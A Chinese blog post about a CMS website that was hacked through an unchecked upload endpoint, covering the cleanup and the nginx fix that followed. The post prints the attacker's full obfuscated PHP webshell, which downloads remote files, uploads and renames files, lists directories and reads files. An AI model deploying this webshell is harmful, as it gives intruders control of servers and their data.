记一次官网被黑的经历
今天下午五点左右收到通知说微信公众号的官网链接被限制访问了,上线一看,官网被黑了,百度通过关键字搜到官网条目,点进去直接跳转到一个博彩网站,这就尴尬了,才一天不上班网站就被黑出翔,实在蛋疼。
于是百度搜解决方案,查看网站首页源代码,发现不对劲
上服务器一看,几乎整个网站根目录都被替换了
原本正常代码目录应该是这样的
正常的 index.php 的内容应该如下
结果现在的网站目录变成这样了
目录无变化,但是文件 TMD 除了 index.php 以外其他文件都没了,这就尴尬了
查看现在的 index.php 的内容
直接变成个 html 文档了我去。
然后把出文件全部替换回来,网站恢复正常
接下来寻找被黑原因
进服务器执行 history 命令查看操作命令
未发现异常
推测不是 ssh 被攻破
是网站代码问题
很有可能是 cms 的漏洞
在网站根目录通过 find ./-mtime -l 命令查看最近 24 小时修改过的文件
发现 upload 目录下有修改过的文件,进去查看
发现被人上传了个脚本,很郁闷,之前没查看上传接口,原来这 CMS 不做上传防御的,不做防御就算了,上传文件之后还不会自动把文件重命名的,这游戏能玩?
查看了下脚本内容
最后清除了脚本后,亡羊补牢,设置 nginx 在上传目录下禁止执行 php 文件
调整了下攻击脚本的格式,内容如下
<?php
error_reporting(0);
$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";
$id=$sr/*+/*+*/("ri"."d_"."si");
$rn=$sr/*+/*+*/("em"."an"."er");
$dn=$sr/*+/*+*/("em"."anr"."id");
$od=$sr/*+/*+*/("ri"."dne"."po");
$rd=$sr/*+/*+*/("ri"."dda"."er");
$cd=$sr/*+/*+*/("ri"."deso"."lc");
$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");
$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");
$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");
$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';
$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';
if($_GET['act']=='dl')
{
echo($dlform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));
}
exit;
}
if($_GET['act']=='ul')
{
echo($ulform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);
}
exit;
}
if($_GET['act']=='rn'){
echo($rnform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$rn/*+/*+*/($_POST['on'],$_POST['nn']);
}
exit;
}
if($_GET['act']=='gp')
{
echo($dn/*+/*+*/(__FILE__));
exit;
}
if($_GET['act']=='lp')
{
echo($lpform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$dp=$_POST['dp'].'/';
$h=$od/*+/*+*/($dp);
while(($fn=$rd/*+/*+*/($h))!==false)
{
if($id/*+/*+*/($dp.$fn))
{
$t1.='D '.$fn.'<br>';
} else {
$t2.=' '.$fn.'<br>';
}
}
$cd/*+/*+*/($dp);
echo($dp.'<br>'.$t1.$t2);
}
exit;
}
if($_GET['act']=='sf')
{echo($sfform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$df=$_POST['df'];
echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');
}
exit;
}
?>
看着这攻击脚本有点疑问,看不太懂,希望有能看懂的同学一起交流下,另外脚本有大段的./+/+*/ 这种注释,这种注释到底有什么用,或者说,这不仅仅是注释?还请有明白的同学指点一番
本作品采用《CC 协议》,转载必须注明作者和本文链接
推荐文章: